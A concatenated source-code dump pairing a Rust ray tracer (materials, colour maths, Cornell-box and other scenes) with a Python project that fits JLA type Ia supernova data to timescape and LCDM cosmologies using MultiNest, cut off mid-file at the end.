pub r: f64, pub g: f64, pub b: f64, } impl Color { pub fn new(r: f64, g: f64, b: f64) -> Self { Self { r, g, b, } } pub fn random() -> Self { let mut rng = rand::thread_rng(); let range = Uniform::from(0.0..1.0); Self { r: range.sample(&mut rng), g: range.sample(&mut rng), b: range.sample(&mut rng) } } pub fn to_rgb(&self) -> (u8, u8, u8) { let r = (255.0 * clamp((self.r).sqrt(), 0.0, 1.0)) as u8; let g = (255.0 * clamp((self.g).sqrt(), 0.0, 1.0)) as u8; let b = (255.0 * clamp((self.b).sqrt(), 0.0, 1.0)) as u8; (r, g, b) } pub fn to_rgb_with_samples(&self, samples: i32) -> (u8, u8, u8) { let scale = 1.0 / samples as f64; let r = (255.0 * clamp((self.r * scale).sqrt(), 0.0, 1.0)) as u8; let g = (255.0 * clamp((self.g * scale).sqrt(), 0.0, 1.0)) as u8; let b = (255.0 * clamp((self.b * scale).sqrt(), 0.0, 1.0)) as u8; (r, g, b) } } impl Clone for Color { fn clone(&self) -> Self { *self } } impl Add for Color { type Output = Self; fn add(self, other: Self) -> Self { Self{ r: self.r + other.r, g: self.g + other.g, b: self.b + other.b, } } } impl Sub for Color { type Output = Self; fn sub(self, other: Self) -> Self { Self{ r: self.r - other.r, g: self.g - other.g, b: self.b - other.b, } } } impl Mul for Color { type Output = Self; fn mul(self, other: Self) -> Self { Self { r: self.r * other.r, g: self.g * other.g, b: self.b * other.b, } } } impl Div for Color { type Output = Self; fn div(self, other: Self) -> Self { Self { r: self.r / other.r, g: self.g / other.g, b: self.b / other.b, } } } impl Mul<f64> for Color { type Output = Self; fn mul(self, other: f64) -> Self { Self { r: self.r * other, g: self.g * other, b: self.b * other, } } } impl Div<f64> for Color { type Output = Self; fn div(self, other: f64) -> Self { Self { r: self.r / other, g: self.g / other, b: self.b / other, } } }<file_sep>use super::utils::ray::{Ray, ScatteredRay}; use super::hittable::HitRecord; use super::utils::color::Color; use super::material::Material; use super::utils::vec3::Vec3; use super::utils::min_f64; use rand::Rng; pub struct Dielectric { refraction: f64 } impl Dielectric { pub fn new(refraction: f64) -> Self { Self { refraction } } fn schlick(cos: f64, index: f64) -> f64 { let mut r0 = (1.0 - index) / (1.0 + index); r0 = r0 * r0; r0 + (1.0 - r0) * (1.0 - cos).powi(5) } } impl Material for Dielectric { fn scatter(&self, ray: &Ray, record: &HitRecord) -> Option<ScatteredRay> { let index = if record.front_face { 1.0 / self.refraction } else { self.refraction }; let unit_direction = ray.direction.unit_vector(); let cos = min_f64(Vec3::dot_product(-unit_direction, record.normal), 1.0); let sin = (1.0 - cos * cos).sqrt(); let reflect_prob = Self::schlick(cos, index); let mut rng = rand::thread_rng(); let result = if reflect_prob > rng.gen_range(0.0, 1.0) || index * sin > 1.0 { Vec3::reflect(unit_direction, record.normal) } else{ Vec3::refract(unit_direction, record.normal, index) }; Some(ScatteredRay::new( Ray::new( record.point, result, ray.time ), Color::new(1.0, 1.0, 1.0) )) } }<file_sep>pub mod light; pub mod metal; pub mod material; pub mod lambertian; pub mod dielectric; pub mod isotropic; use super::utils; use super::hittable; use super::textures;<file_sep>use super::utils::ray::{Ray, ScatteredRay}; use super::textures::Texture; use super::hittable::HitRecord; use super::material::Material; use super::utils::vec3::Vec3; use std::rc::Rc; pub struct Lambertian { albedo: Rc<dyn Texture>, } impl Lambertian { pub fn new(albedo: Rc<dyn Texture>) -> Self { Self { albedo } } } impl Material for Lambertian { fn scatter(&self, ray: &Ray, record: &HitRecord) -> Option<ScatteredRay> { let scatter_direction = record.normal + Vec3::random_unit(); Some(ScatteredRay::new( Ray::new( record.point, scatter_direction, ray.time ), self.albedo.color(record.u, record.v, &record.point) )) } }<file_sep>pub mod utils; pub mod hittable; pub mod objects; pub mod camera; pub mod material; pub mod textures;<file_sep>#![allow(unused_imports)] #![allow(dead_code)] use rust_raytracingv2::objects::{sphere::Sphere, moving_sphere::MovingSphere, rectangles::*, cube::Cube, constant_medium::ConstantMedium}; use rust_raytracingv2::material::{light::Light, dielectric::Dielectric, lambertian::Lambertian, metal::Metal}; use rust_raytracingv2::textures::{CheckerTexture, ConstantTexture, NoiseTexture, ImageTexture}; use rust_raytracingv2::hittable::{Hittable, HittableList, FlipFace, RotateY, Translate}; use rust_raytracingv2::hittable::bounding::BvhNode; use rust_raytracingv2::camera::camera::Camera; use rust_raytracingv2::utils::color::Color; use rust_raytracingv2::utils::vec3::Vec3; use rust_raytracingv2::utils::ray::Ray; use std::io; use std::f64; use std::rc::Rc; use std::io::Write; use rand::distributions::{Distribution, Uniform}; use rand::Rng; use image::{GenericImage, GenericImageView, ImageBuffer, RgbImage}; fn random_scene() -> Vec<Rc<dyn Hittable>> { let mut world: Vec<Rc<dyn Hittable>> = Vec::new(); let mut rng = rand::thread_rng(); let range = Uniform::from(0.0..1.0); world.push(Rc::new(Sphere::new( Vec3::new(0.0, -1000.0, 0.0), 1000.0, Rc::new(Lambertian::new(Rc::new( CheckerTexture::new( Rc::new(ConstantTexture::new(Color::new(0.2, 0.3, 0.1))), Rc::new(ConstantTexture::new(Color::new(0.9, 0.9, 0.9))), ) ))) ))); for a in -10..10 { for b in -10..10 { let mat = range.sample(&mut rng); let center = Vec3::new( a as f64 + 0.9 * range.sample(&mut rng), 0.2, b as f64 + 0.9 * range.sample(&mut rng), ); if (center - Vec3::new(4.0, 0.2, 0.0)).length() > 0.9 { if mat < 0.8 { let color = Color::random() * Color::random(); world.push(Rc::new(MovingSphere::new( center, center + Vec3::new(0.0, rng.gen_range(0.0, 0.5), 0.0), 0.0, 1.0, 0.2, Rc::new(Lambertian::new(Rc::new( ConstantTexture::new(color) ))) ))); } else if mat < 0.95 { let color = Color::random(); let fuzz = range.sample(&mut rng); world.push(Rc::new(Sphere::new( center, 0.2, Rc::new(Metal::new( color, fuzz )) ))); } else{ world.push(Rc::new(Sphere::new( center, 0.2, Rc::new(Dielectric::new( 1.5 )) ))); } } } } world.push(Rc::new(Sphere::new( Vec3::new(0.0, 1.0, 0.0), 1.0, Rc::new(Dielectric::new( 1.5 )) ))); world.push(Rc::new(Sphere::new( Vec3::new(-4.0, 1.0, 0.0), 1.0, Rc::new(Lambertian::new(Rc::new( ConstantTexture::new(Color::new(0.4, 0.2, 0.1)) ))) ))); world.push(Rc::new(Sphere::new( Vec3::new(4.0, 1.0, 0.0), 1.0, Rc::new(Metal::new( Color::new(0.7, 0.6, 0.5), 0.0 )) ))); world } fn perlin_scene() -> Vec<Rc<dyn Hittable>> { let mut scene: Vec<Rc<dyn Hittable>> = vec![]; let perlin = Rc::new(NoiseTexture::new(4.0)); scene.push(Rc::new(Sphere::new(Vec3::new(0.0, -1000.0, 0.0), 1000.0, Rc::new(Lambertian::new(perlin.clone()))))); scene.push(Rc::new(Sphere::new(Vec3::new(0.0, 2.0, 0.0), 2.0, Rc::new(Lambertian::new(perlin.clone()))))); let light = Rc::new(Light::new(Rc::new(ConstantTexture::new(Color::new(4.0, 4.0, 4.0))))); scene.push(Rc::new(Sphere::new(Vec3::new(0.0, 7.0, 0.0), 2.0, light.clone()))); scene.push(Rc::new(XYRectangle::new(3.0, 5.0, 1.0, 3.0, -2.0, light.clone()))); scene } fn cornell_box() -> Vec<Rc<dyn Hittable>> { let mut objects: Vec<Rc<dyn Hittable>> = vec![]; let red = Rc::new(Lambertian::new(Rc::new(ConstantTexture::new(Color::new(0.65, 0.05, 0.05))))); let white = Rc::new(Lambertian::new(Rc::new(ConstantTexture::new(Color::new(0.73, 0.73, 0.73))))); let green = Rc::new(Lambertian::new(Rc::new(ConstantTexture::new(Color::new(0.12, 0.45, 0.15))))); let light = Rc::new(Light::new(Rc::new(ConstantTexture::new(Color::new(7.0, 7.0, 7.0))))); objects.push(Rc::new(FlipFace::new(Rc::new(YZRectangle::new(0.0, 555.0, 0.0, 555.0, 555.0, green.clone()))))); objects.push(Rc::new(YZRectangle::new(0.0, 555.0, 0.0, 555.0, 0.0, red.clone()))); objects.push(Rc::new(XZRectangle::new(113.0, 443.0, 127.0, 432.0, 554.0, light.clone()))); objects.push(Rc::new(FlipFace::new(Rc::new(XYRectangle::new(0.0, 555.0, 0.0, 555.0, 555.0, white.clone()))))); objects.push(Rc::new(XZRectangle::new(0.0, 555.0, 0.0, 555.0, 555.0, white.clone()))); objects.push(Rc::new(XZRectangle::new(0.0, 555.0, 0.0, 555.0, 0.0, white.clone()))); objects.push(Rc::new(FlipFace::new(Rc::new(XYRectangle::new(0.0, 555.0, 0.0, 555.0, 555.0, white.clone()))))); let mut box1: Rc<dyn Hittable> = Rc::new(Cube::from_vertices(Vec3::new(0.0, 0.0, 0.0), Vec3::new(165.0, 330.0, 165.0), white.clone())); let mut box2: Rc<dyn Hittable> = Rc::new(Cube::from_vertices(Vec3::new(0.0, 0.0, 0.0), Vec3::new(165.0, 165.0, 165.0), white.clone())); box1 = Rc::new(RotateY::new(box1.clone(), 15.0)); box2 = Rc::new(RotateY::new(box2.clone(), -18.0)); box1 = Rc::new(Translate::new(box1.clone(), Vec3::new(256.0, 0.0, 295.0))); box2 = Rc::new(Translate::new(box2.clone(), Vec3::new(130.0, 0.0, 65.0))); objects.push(Rc::new(ConstantMedium::new(box1.clone(), Rc::new(ConstantTexture::new(Color::new(0.0, 0.0, 0.0))), 0.01))); objects.push(Rc::new(ConstantMedium::new(box2.clone(), Rc::new(ConstantTexture::new(Color::new(1.0, 1.0, 1.0))), 0.01))); objects } fn test_scene() -> Vec<Rc<dyn Hittable>> { let mut floor: Vec<Rc<dyn Hittable>> = vec![]; let mut scene: Vec<Rc<dyn Hittable>> = vec![]; let mut objects: Vec<Rc<dyn Hittable>> = vec![]; let mut rng = rand::thread_rng(); let img = image::open("./res/earthmap.jpg").expect("Could not open the image"); let boxes = 20; let ground_color = Rc::new(ConstantTexture::new(Color::new(0.48, 0.83, 0.53))); let ground = Rc::new(Lambertian::new(ground_color.clone())); for i in 0..boxes { for j in 0..boxes { let w = 100.0; let x0 = -1000.0 + i as f64 * w; let z0 = -1000.0 + j as f64 * w; let y0 = 0.0; let x1 = x0 + w; let z1 = z0 + w; let y1 = rng.gen_range(1.0, 100.0); floor.push(Rc::new(Cube::from_vertices(Vec3::new(x0, y0, z0), Vec3::new(x1, y1, z1), ground.clone()))); } } let light = Rc::new(Light::new(Rc::new(ConstantTexture::new(Color::new(7.0, 7.0, 7.0))))); objects.push(Rc::new(XZRectangle::new(123.0, 423.0, 147.0, 412.0, 554.0, light.clone()))); let center1 = Vec3::new(400.0, 400.0, 200.0); let center2 = center1 + Vec3::new(30.0, 0.0, 0.0); let moving_sphere_material = Rc::new(Lambertian::new(Rc::new(ConstantTexture::new(Color::new(0.7, 0.3, 0.1))))); objects.push(Rc::new(MovingSphere::new(center1, center2, 0.0, 1.0, 50.0, moving_sphere_material.clone()))); objects.push(Rc::new(Sphere::new(Vec3::new(260.0, 150.0, 45.0), 50.0, Rc::new(Dielectric::new(1.5))))); objects.push(Rc::new(Sphere::new(Vec3::new(0.0, 150.0, 145.0), 50.0, Rc::new(Metal::new(Color::new(0.8, 0.8, 0.9), 1.5))))); let boundary1 = Rc::new(Sphere::new(Vec3::new(360.0, 150.0, 145.0), 70.0, Rc::new(Dielectric::new(1.5)))); objects.push(boundary1.clone()); objects.push(Rc::new(ConstantMedium::new(boundary1.clone(), Rc::new(ConstantTexture::new(Color::new(0.2, 0.4, 0.9))), 0.2))); let boundary2 = Rc::new(Sphere::new(Vec3::new(0.0, 0.0, 0.0), 5000.0, Rc::new(Dielectric::new(1.5)))); objects.push(Rc::new(ConstantMedium::new(boundary2.clone(), Rc::new(ConstantTexture::new(Color::new(1.0, 1.0, 1.0))), 0.0001))); let earth_material = Rc::new(Lambertian::new(Rc::new(ImageTexture::new(img)))); objects.push(Rc::new(Sphere::new(Vec3::new(400.0, 200.0, 400.0), 100.0, earth_material.clone()))); let noise_texture = Rc::new(NoiseTexture::new(0.1)); objects.push(Rc::new(Sphere::new(Vec3::new(220.0, 280.0, 300.0), 80.0, Rc::new(Lambertian::new(noise_texture.clone()))))); let mut boxes2: Vec<Rc<dyn Hittable>> = vec![]; let white = Rc::new(Lambertian::new(Rc::new(ConstantTexture::new(Color::new(1.0, 1.0, 1.0))))); let cont = 1000; for _ in 0..cont { boxes2.push(Rc::new(Sphere::new(Vec3::random_range(0.0, 165.0), 10.0, white.clone()))); } objects.push(Rc::new( Translate::new(Rc::new(RotateY::new(Rc::new(BvhNode::new(&mut boxes2, 0, cont, 0.0, 1.0)), 15.0)), Vec3::new(-100.0, 270.0, 395.0) ))); let sz_floor = floor.len(); let sz_objects = objects.len(); scene.push(Rc::new(BvhNode::new(&mut floor, 0, sz_floor, 0.0, 0.1))); scene.push(Rc::new(BvhNode::new(&mut objects, 0, sz_objects, 0.0, 0.1))); scene } fn get_color(ray: &Ray, background: &Color, world: Rc<dyn Hittable>, depth: i32) -> Color { if depth <= 0 { return Color::default(); } if let Some(record) = world.hit(ray, 0.001, f64::MAX) { let emitted = record.material.emit(record.u, record.v, &record.point); if let Some(scatter) = record.material.scatter(ray, &record) { return emitted + get_color(&scatter.ray, background, world, depth - 1) * scatter.attenuation; } return emitted; } *background } fn main() { let start = std::time::Instant::now(); let width: usize = 600; let height: usize = 600; let samples: usize = 10000; let depth: i32 = 50; let origin: Vec3 = Vec3::new(478.0, 278.0, -600.0); let look_at: Vec3 = Vec3::new(278.0, 278.0, 0.0); let aperture = 0.0; let dist_to_focus = 10.0; let background = Color::default(); let camera = Camera::new( origin, look_at, Vec3::new(0.0, 1.0, 0.0), 40.0, (width as f64) / (height as f64), aperture, dist_to_focus, 0.0, 1.0 ); let mut world = test_scene(); let sz = world.len(); let world = Rc::new(BvhNode::new(&mut world, 0, sz, 0.0, 1.0)); let mut rng = rand::thread_rng(); let range = Uniform::from(0.0..1.0); let mut pixels = vec![]; for row in (0..height).rev() { println!("{:.2}%", (height - row) as f64 / height as f64 * 100.0); for col in 0..width { let mut color = Color::default(); for _ in 0..samples { let x = (col as f64 + range.sample(&mut rng)) / width as f64; let y = (row as f64 + range.sample(&mut rng)) / height as f64; let ray = camera.get_ray(x, y); color = color + get_color(&ray, &background, world.clone(), depth); } pixels.push(color); } io::stdout().flush().unwrap(); } let mut buffer = image::ImageBuffer::new(width as u32, height as u32); let mut idx = 0; for (_, _, px) in buffer.enumerate_pixels_mut() { let (r, g, b) = pixels[idx].to_rgb_with_samples(samples as i32); idx += 1; *px = image::Rgb([r, g, b]); } buffer.save("test.png").unwrap(); eprintln!("DONE: {}ms", start.elapsed().as_millis()); }
e2624f4f550b70359eb792c7c34924766054d477
[ "Markdown", "Rust" ]
30
Rust
FiloSanza/rust-raytracing
23fb793e2af4b2ab762a8e597a8649b9b5ef5eba
10f43df928f194c7c610f23f15bafb891a75615e
refs/heads/master
<repo_name>lhd23/SNMC<file_sep>/build.py import numpy as np def boostz(z,vel,RA0,DEC0,RAdeg,DECdeg): # Angular coords should be in degrees and velocity in km/s RA = np.radians(RAdeg) DEC = np.radians(DECdeg) RA0 = np.radians(RA0) DEC0 = np.radians(DEC0) costheta = np.sin(DEC)*np.sin(DEC0) \ + np.cos(DEC)*np.cos(DEC0)*np.cos(RA-RA0) return z + (vel/C)*costheta*(1.+z) C = 2.99792458e5 # km/s # Tully et al 2008 vcmb = 371.0 # km/s l_cmb = 264.14 b_cmb = 48.26 # converts to ra_cmb = 168.0118667 dec_cmb = -6.98303424 ndtypes = [('SNIa','S12'), \ ('zcmb',float), \ ('zhel',float), \ ('e_z',float), \ ('mb',float), \ ('e_mb',float), \ ('x1',float), \ ('e_x1',float), \ ('c',float), \ ('e_c',float), \ ('logMst',float), \ ('e_logMst',float), \ ('tmax',float), \ ('e_tmax',float), \ ('cov(mb,s)',float), \ ('cov(mb,c)',float), \ ('cov(s,c)',float), \ ('set',int), \ ('RAdeg',float), \ ('DEdeg',float), \ ('bias',float)] # width of each column delim = (12, 9, 9, 1, 10, 9, 10, 9, 10, 9, 10, 10, 13, 9, 10, 10, 10, 1, 11, 11, 10) # load the data data = np.genfromtxt('tablef3.dat', delimiter=delim, dtype=ndtypes, autostrip=True) zcmb = data['zcmb'] mb = data['mb'] x1 = data['x1'] c = data['c'] logMass = data['logMst'] # log_10_ host stellar mass (in units=M_sun) survey = data['set'] zhel = data['zhel'] ra = data['RAdeg'] dec = data['DEdeg'] # Survey values key: # 1 = SNLS (Supernova Legacy Survey) # 2 = SDSS (Sloan Digital Sky Survey: SDSS-II SN Ia sample) # 3 = lowz (from CfA; Hicken et al. 2009, J/ApJ/700/331 # 4 = Riess HST (2007ApJ...659...98R) zcmb1 = boostz(zhel,vcmb,ra_cmb,dec_cmb,ra,dec) JLA = np.column_stack((zcmb1,mb,x1,c,logMass,survey,zhel,ra,dec)) np.savetxt('jla.tsv', JLA, delimiter='\t', \ fmt=('%10.7f','%10.7f','%10.7f','%10.7f','%10.7f','%i','%9.7f','%11.7f','%11.7f')) <file_sep>/snsample.py from __future__ import division from scipy import interpolate, linalg, optimize, stats, integrate import numpy as np import sys from getsplines import spl class loglike(object): def __init__(self,model,zdep,case,ipars,zcmb,zhel,tri,snset,COVd,tempInt): self.model = model self.zdep = zdep self.case = case self.ipars = ipars self.zcmb = zcmb self.zhel = zhel self.tri = tri self.snset = snset self.COVd = COVd self.tempInt = tempInt self.N = zcmb.shape[0] self.snid = {'lowz':1, 'SDSS':2, 'SNLS':3, 'HST':4} def __call__(self,cube,ndim,nparams): cube_aug = np.zeros(21) for icube,i in enumerate(self.ipars): cube_aug[i] = cube[icube] # broadcast to all parameters. if model=ts then Q=fv0 otherwise Q=Omega_M0 (self.Q, self.A, self.X0, self.VX, self.B, self.C0, self.VC, self.M0, self.VM, self.X0_2, self.C0_2, self.X0_3, self.C0_3, self.X0_4, self.C0_4, self.X1, self.C1, self.X2, self.C2, self.X3, self.C3) = cube_aug self.X4 = 0.0 self.C4 = 0.0 # set to zero unless doing global linear if self.case == 2: """ global linear x, global const c """ self.X0_2 = self.X0_3 = self.X0_4 = self.X0 self.X4 = self.X3 = self.X2 = self.X1 self.C0_2 = self.C0_3 = self.C0_4 = self.C0 elif self.case == 3: """ split linear x, global const c """ self.C0_2 = self.C0_3 = self.C0_4 = self.C0 elif self.case == 4: """ global const x, global linear c """ self.X0_2 = self.X0_3 = self.X0_4 = self.X0 self.C0_2 = self.C0_3 = self.C0_4 = self.C0 self.C4 = self.C3 = self.C2 = self.C1 elif self.case == 5: """ global const x, split linear c """ self.X0_2 = self.X0_3 = self.X0_4 = self.X0 elif self.case == 6: """ global linear x and c """ self.X0_2 = self.X0_3 = self.X0_4 = self.X0 self.X4 = self.X3 = self.X2 = self.X1 self.C0_2 = self.C0_3 = self.C0_4 = self.C0 self.C4 = self.C3 = self.C2 = self.C1 elif self.case == 8: """ global linear x, split linear c """ self.X0_2 = self.X0_3 = self.X0_4 = self.X0 self.X4 = self.X3 = self.X2 = self.X1 return -0.5 * self.m2loglike() def dL(self): if self.model == 1: fv0 = self.Q OM = 0.5*(1.-fv0)*(2.+fv0) dist = (61.7/66.7) * np.hstack([tempdL(OM) for tempdL in self.tempInt]) elif self.model == 2 or self.model == 3: OM = self.Q OL = 1.0 - OM H0 = 70. # km/s/Mpc c = 299792.458 dist = c/H0 * np.hstack([tempdL(OM,OL) for tempdL in self.tempInt]) if (dist<0).any(): print 'OM, z: ', OM, np.argwhere(dist<0) return dist def MU(self): mu_ = 5*np.log10(self.dL() * (1+self.zhel)/(1+self.zcmb)) + 25 return mu_.flatten() def COV(self): # Total covariance matrix block3 = np.array([[self.VM + self.VX*self.A**2 + self.VC*self.B**2,-self.VX*self.A, self.VC*self.B], [-self.VX*self.A, self.VX, 0.], [ self.VC*self.B, 0., self.VC]]) ATCOVlA = linalg.block_diag(*[ block3 for i in range(self.N)]) return self.COVd + ATCOVlA def RES(self): """ Total residual, \hat Z - Y_0*A """ if self.zdep == True: X0_red = np.where(self.snset==self.snid['lowz'], self.X0 + self.X1*self.zhel, self.zhel) X0_red = np.where(self.snset==self.snid['SDSS'], self.X0_2 + self.X2*X0_red, X0_red) X0_red = np.where(self.snset==self.snid['SNLS'], self.X0_3 + self.X3*X0_red, X0_red) X0_red = np.where(self.snset==self.snid['HST'], self.X0_4 + self.X4*X0_red, X0_red) C0_red = np.where(self.snset==self.snid['lowz'], self.C0 + self.C1*self.zhel, self.zhel) C0_red = np.where(self.snset==self.snid['SDSS'], self.C0_2 + self.C2*C0_red, C0_red) C0_red = np.where(self.snset==self.snid['SNLS'], self.C0_3 + self.C3*C0_red, C0_red) C0_red = np.where(self.snset==self.snid['HST'], self.C0_4 + self.C4*C0_red, C0_red) Y0A = np.column_stack((self.M0-self.A*X0_red+self.B*C0_red, X0_red, C0_red)) # 2D-array elif self.zdep == False: Y0A = np.array([self.M0-self.A*self.X0+self.B*self.C0, self.X0, self.C0]) # 1D-array Y0A = np.tile(Y0A, (self.N,1)) # form Nx3 2D-array mu = self.MU() return np.hstack([(self.tri[i] - np.array([mu[i],0,0]) - Y0A[i]) for i in range(self.N)]) def m2loglike(self): cov = self.COV() try: chol_fac = linalg.cho_factor(cov, overwrite_a=True, lower=True) except linalg.LinAlgError: # when not positive definite return 13993.*1e20 except ValueError: return 13995.*1e20 res = self.RES() part_log = 3*self.N*np.log(2*np.pi) + np.sum(np.log(np.diag(chol_fac[0])))*2 part_exp = np.dot(res, linalg.cho_solve(chol_fac, res)) return part_log + part_exp def prior(cube,ndim,nparams): """ Transform parameters in the ndimensional cube to the physical parameter space (see arXiv:0809.3437) """ for icube, i in enumerate(ipars): lo, hi = prior_lims[i] cube[icube] = (hi-lo)*cube[icube] + lo cube[3] = 10.**cube[3] cube[6] = 10.**cube[6] cube[8] = 10.**cube[8] def getindices(zdep,case): """ Assign indices to non-zero light curve parameters """ ip = range(9) if zdep == 1: if case == 2: iadd = [15] elif case == 3: iadd = [9,11,13,15,17,19] elif case == 4: iadd = [16] elif case == 5: iadd = [10,12,14,16,18,20] elif case == 6: iadd = [15,16] elif case == 7: iadd = range(9,21) elif case == 8: iadd = [10,12,14,15,16,18,20] elif zdep == 0: iadd = [] else: raise ValueError('third argument must be either 1 (z dependence) or 0 (no z dependence)') return ip + iadd def sort_and_cut(zmin,Zdata,covmatrix,splines): """ Sort by increasing redshift then cut all sn below zmin """ N0 = Zdata.shape[0] #740 # Sort data in order of increasing redshift ind = np.argsort(Zdata[:,0]) Zdata = Zdata[ind,:] splines = [splines[i] for i in ind] ind = np.column_stack((3*ind, 3*ind+1, 3*ind+2)).ravel() covmatrix = covmatrix[ind,:] covmatrix = covmatrix[:,ind] # Redshift cut imin = np.argmax(Zdata[:,0] >= zmin) # returns first index with True ie z>=zmin Zdata = Zdata[imin:,:] # remove data below zmin covmatrix = covmatrix[3*imin:,3*imin:] # extracts cov matrix of the larger matrix N = N0 - imin # number of SNe in cut sample splines = splines[imin:] # keep splines of remaining snia only return Zdata, covmatrix, splines if __name__ == '__main__': c = 299792.458 # km/s Ntotal = 740 # Number of SNe # Prior limits prior_lims = [ # fv: 0.5*(np.sqrt(9.-8.*om)-1) (0.0, 1.0), #alpha (-20.0, 20.0), #X0 (-10.0, 4.0), #lVX (0.0, 4.0), #beta (-20.0, 20.0), #C0 (-10.0, 4.0), #lVC (-20.3, -18.3), #M0 (-10.0, 4.0), #lVM (-20.0, 20.0), #X0_2 (-20.0, 20.0), #C0_2 (-20.0, 20.0), #X0_3 (-20.0, 20.0), #C0_3 (-20.0, 20.0), #X0_4 (-20.0, 20.0), #C0_4 (-20.0, 20.0), #X1 (-20.0, 20.0), #C1 (-20.0, 20.0), #X2 (-20.0, 20.0), #C2 (-20.0, 20.0), #X3 (-20.0, 20.0) ] #C3 model = int(sys.argv[1]) # 1=Timescape, 2=Empty, 3=Flat z_cut = float(sys.argv[2]) # redshift cut e.g. 0.033 zdep = int(sys.argv[3]) # redshift dependence (0 or 1) case = int(sys.argv[4]) # redshift light curve model (1-8) isigma = int(sys.argv[5]) # 1, 2 or 3 sigma omega/fv prior nlive = int(sys.argv[6]) # number of live points used in sampling tol = float(sys.argv[7]) # stop evidence integral when next contribution less than tol basename = str(model) + '_' + str(z_cut)[2:] + str(zdep) + str(case) + '_' + str(isigma) + '_' \ + str(nlive) + '_' + str(tol)[2:] + '_' if model == 1: p1prior = [(0.588,0.765), (0.500,0.799), (0.378,0.826), (0.001,0.999)] #fv0 tempInt = spl.ts elif model == 2 or model == 3: p1prior = [(0.162,0.392), (0.143,0.487), (0.124,0.665), (0.001,0.999)] #om tempInt = spl.lcdm else: raise ValueError('command line arguments allowed: 1=Timescape, 2=empty, 3=Flat LCDM') # load data and covariances Z = np.loadtxt('jla.tsv') COVd = np.load('covmat/stat.npy') for i in ['cal', 'model', 'bias', 'dust', 'sigmaz', 'sigmalens', 'nonia']: COVd += np.load('covmat/'+i+'.npy') Z, COVd, tempInt = sort_and_cut(z_cut,Z,COVd,tempInt) ipars = getindices(zdep,case) prior_lims = [p1prior[isigma-1],] + prior_lims # add fv/om prior ndim = len(ipars) zcmb = Z[:,0] zhel = Z[:,6] tri = Z[:,1:4] snset = Z[:,5] llike = loglike(model,zdep,case,ipars,zcmb,zhel,tri,snset,COVd,tempInt) # compute evidence try: import pymultinest except ImportError: raise pymultinest.run(llike, prior, ndim, outputfiles_basename = 'output/'+basename, multimodal = False, sampling_efficiency = 'model', n_live_points = nlive, evidence_tolerance = tol, const_efficiency_mode = False, # resume = False, n_iter_before_update = 1, verbose = False) <file_sep>/mle.py from __future__ import division from scipy import optimize import numpy as np import sys from snsample import loglike,sort_and_cut,getindices from getsplines import spl def m2ll(p): #-2*loglikelihood ndim = p.size npars = ndim return -2*llike(p,ndim,npars) if __name__ == '__main__': Z = np.loadtxt('jla.tsv') COVd = np.load('covmat/stat.npy') for i in ['cal', 'model', 'bias', 'dust', 'sigmaz', 'sigmalens', 'nonia']: COVd += np.load('covmat/'+i+'.npy') # initialise likelihood / input data and model model = int(sys.argv[1]) #1=ts, 3=flatlcdm z_cut = 0.033 zdep = 0 case = 1 ipars = getindices(zdep,case) tempInt = spl.ts if model == 1 else spl.lcdm # get data Z, COVd, tempInt = sort_and_cut(z_cut,Z,COVd,tempInt) zcmb = Z[:,0] zhel = Z[:,6] tri = Z[:,1:4] snset = Z[:,5] llike = loglike(model,zdep,case,ipars,zcmb,zhel,tri,snset,COVd,tempInt) # starting parameters guess_ts = np.array([0.778, 0.134, 0.105, 0.809, 3.13, -0.0211, 0.00474, -19.1, 0.0108]) guess_fl = np.array([0.365, 0.134, 0.106, 0.808, 3.14, -0.0215, 0.00473, -19.0, 0.0107]) guess = guess_ts if model == 1 else guess_fl bounds = ((0.001,0.99),(None,None),(None,None),(0,None),(None,None), (None,None),(0,None),(None,None),(0,None)) MLE = optimize.minimize(m2ll, guess, bounds=bounds, method='SLSQP', tol=1e-8) print MLE <file_sep>/getsplines.py from __future__ import division from scipy import interpolate import numpy as np class spl(object): Ntotal = 740 interp = np.load('tabledL_ts.npy') oms = np.linspace(0.00,0.99,100) oms[0] = 0.001 ts = [] for i in range(Ntotal): ts.append(interpolate.InterpolatedUnivariateSpline(oms, interp[i])) interp = np.load('tabledL_lcdm.npy') oms = np.linspace(0,1.0,101) ols = np.linspace(0,1.0,101) lcdm = [] for i in range(Ntotal): lcdm.append(interpolate.RectBivariateSpline(oms, ols, interp[i])) <file_sep>/README.md # Apparent cosmic acceleration from type Ia supernova This is the analysis code used in the paper Dam, Heinesen, and Wiltshire, [<NAME>. Astron. Soc. 472 (2017) 835](https://doi.org/10.1093/mnras/stx1858) [[arxiv](https://arxiv.org/abs/1706.07236)]. ## Update 07/10/2022: fixes a bug in `distmod.py` that was affecting the distance moduli of a single data point (thanks to <NAME>). ## Dependencies and data requirements This code requires [NumPy](https://numpy.org/), [SciPy](https://www.scipy.org/), and [PyMultiNest](https://github.com/JohannesBuchner/PyMultiNest) (a Python interface of [MultiNest](https://arxiv.org/abs/0809.3437)). The JLA dataset and covariance matrices used in this analysis are not supplied here; they can be downloaded from [here](http://cdsarc.u-strasbg.fr/viz-bin/qcat?J/A+A/568/A22) and [here](http://supernovae.in2p3.fr/sdss_snls_jla/covmat_v6.tgz). In addition, the covariances used in this code have been converted from FITS format to .npy format; these can be downloaded [here](https://doi.org/10.5281/zenodo.831360). Please cite the respective papers if these products are used in published work. ## Running the code The dataset used in the analysis computes redshifts in the CMB frame from JLA heliocentric redshifts. Running `python build.py` generates the data file `jla.tsv` used in this analysis ordered as follows ``` zcmb, mb, x1, c, logMass, survey id, zhel, RA, DEC ``` Next, for fast likelihood evaluation, run `python distmod.py` to produce a look-up table of luminosity distances for each SNIa and for different cosmological parameter(s). Running the main script `snsample.py` computes the evidence for the model specified by the following command line options: ``` model = int(sys.argv[1]) # 1=Timescape, 2=Empty, 3=Flat z_cut = float(sys.argv[2]) # redshift cut e.g. 0.033 zdep = int(sys.argv[3]) # redshift dependence in mean stretch and colour distributions (0 or 1) case = int(sys.argv[4]) # redshift light curve model (1-8) nsigma = int(sys.argv[5]) # 1, 2 or 3 sigma omega/fv prior nlive = int(sys.argv[6]) # number of live points used in sampling tol = float(sys.argv[7]) # stop evidence integral when next contribution less than tol ```<file_sep>/distmod.py import sys import numpy as np from scipy import integrate,optimize # Updated 07/10/2022 to fix a bug in the code that was affecting the # distance moduli of a single data point (thanks to <NAME>) class flrw: def __init__(self, om0, oml, H0=66.7): self.om0 = om0 self.oml = oml self.c = 2.99792458e5 self.dH = self.c/H0 @property def omk(self): return 1.-self.om0-self.oml def _integrand(self, zcmb): """ Computes H0/H(z) where zcmb is redshift measured in cmb frame """ z1 = 1.+zcmb return 1/np.sqrt(self.om0*z1**3 + self.omk*z1**2 + self.oml) def dL(self, 